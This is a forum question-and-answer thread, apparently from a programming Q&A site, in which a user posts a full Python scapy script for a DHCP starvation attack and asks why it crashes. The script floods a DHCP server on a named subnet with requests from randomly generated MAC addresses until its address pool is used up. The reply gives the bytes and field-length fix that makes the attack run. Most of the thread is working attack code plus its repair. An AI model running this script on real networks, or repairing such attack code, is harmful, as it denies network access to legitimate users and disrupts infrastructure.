Reputation: 65
I'm using Python 3.7.9. I'm trying to use scapy by adapting the code found in this link (for the credits):
https://cabeggar.github.io/2016/02/21/DHCP-starvation-with-ScaPy/
from scapy.all import *
from time import sleep
from threading import Thread
class DHCPStarvation(object):
def __init__(self):
# Generated MAC stored to avoid same MAC requesting for different IP
self.mac = [""]
# Requested IP stored to identify registered IP
self.ip = []
def get_intfs(self):
winList = get_windows_if_list()
intfList = get_if_list()
# Pull guids and names from the windows list
guidToNameDict = { e["guid"]: e["name"] for e in winList}
# Extract the guids from the interface list
guidsFromIntfList = [(e.split("_"))[1] for e in intfList]
# Using the interface list of guids, pull the names from the
# Windows map of guids to names
namesAllowedList = [guidToNameDict.get(e) for e in guidsFromIntfList if guidToNameDict.get(e) != None]
return namesAllowedList
def choose_intf(self):
intfs=self.get_intfs()
a=len(intfs)+1
print('Starting with a:',a)
for i in intfs: print(intfs.index(i),i)
while a > len(intfs)-1:
a=int(input('Choose the interface from the list above:'))
print('Returned:',intfs[a])
return intfs[a]
def handle_dhcp(self, pkt):
if pkt[DHCP]:
# if DHCP server reply ACK, the IP address requested is registered
# 10.10.111.107 is IP for bt5, not to be starved
if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "10.10.111.107":
self.ip.append(pkt[IP].dst)
print(str(pkt[IP].dst)+" registered")
# Duplicate ACK may happen due to packet loss
elif pkt[DHCP].options[0][1]==6:
print("NAK received")
def listen(self):
# sniff DHCP packets
sniff(filter="udp and (port 67 or port 68)",prn=self.handle_dhcp,store=0)
def start(self):
# start packet listening thread
self.outgoing_intf = self.choose_intf()
thread = Thread(target=self.listen)
thread.start()
print("Starting DHCP starvation...")
# Keep starving until all 100 targets are registered
# 100~200 excepts 107 = 100
while len(self.ip) < 100: self.starve()
print("Targeted IP address starved")
def starve(self):
for i in range(10):
# generate IP we want to request
# if IP already registered, then skip
requested_addr = "10.38.65."+str(176+i)
print('Requesting',requested_addr)
if requested_addr in self.ip:
continue
# generate MAC, avoid duplication
src_mac = ""
while src_mac in self.mac:
src_mac = str(RandMAC('16'))
self.mac.append(src_mac)
# generate DHCP request packet
pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(chaddr=RandString(12, "0123456789abcdef"))
pkt /= DHCP(options=[("message-type", "request"),
("requested_addr", requested_addr),
("server_id", "10.38.65.201"),
"end"])
sendp(pkt,iface=self.outgoing_intf)
print("Trying to occupy "+requested_addr)
sleep(0.2) # interval to avoid congestion and packet loss
if __name__ == "__main__":
starvation = DHCPStarvation()
starvation.start()
I get this error
Traceback (most recent call last):
File ".\main.py", line 95, in <module>
starvation.start()
File ".\main.py", line 63, in start
while len(self.ip) < 100: self.starve()
File ".\main.py", line 88, in starve
sendp(pkt,iface=self.outgoing_intf)
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\sendrecv.py", line 379, in sendp
realtime=realtime, return_packets=return_packets)
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\sendrecv.py", line 299, in __gen_send
for p in x:
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py", line 963, in loop
for x in loop(todo[:], done):
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py", line 963, in loop
for x in loop(todo[:], done):
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py", line 971, in loop
if self.fields == done and payloads.__iterlen__() == 1:
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py", line 1026, in __iterlen__
return length * self.payload.__iterlen__()
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py", line 1026, in __iterlen__
return length * self.payload.__iterlen__()
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py", line 1009, in __iterlen__
if hasattr(val, "__iterlen__"):
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\volatile.py", line 104, in __getattr__
return getattr(self._fix(), attr)
File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\volatile.py", line 365, in _fix
s += rdm_chr if isinstance(rdm_chr, str) else chb(rdm_chr)
TypeError: can't concat str to bytes
The problem seems to be deep in the modules and specifically here in the function def _fix(self) in the file
"C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\volatile.py"
class RandString(RandField):
def __init__(self, size=None, chars=b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"): # noqa: E501
if size is None:
size = RandNumExpo(0.01)
self.size = size
self.chars = chars
def _fix(self):
s = b""
for _ in range(self.size):
rdm_chr = random.choice(self.chars)
s += rdm_chr if isinstance(rdm_chr, str) else chb(rdm_chr)
return s
def __str__(self):
return plain_str(self._fix())
def __bytes__(self):
return bytes_encode(self._fix())
def __mul__(self, n):
return self._fix() * n
The problem seems to be due to the fact that s and rdm_chr are of different type but I cannot believe such an error can be found so deep in long maintained modules...
Would anyone have any hint?
Thanks,
Alex
Upvotes: 0
Views: 780
Reputation: 5411
First of all I'm slightly skeptical that
BOOTP(chaddr=RandString(12, "0123456789abcdef"))
is correct because chaddr
is a 16-bytes field (and not 12), but the issue here is that you're giving it a string (yes it's counter intuitive but this is python 3), instead of bytes:
BOOTP(chaddr=RandString(16, b"0123456789abcdef"))
Upvotes: 1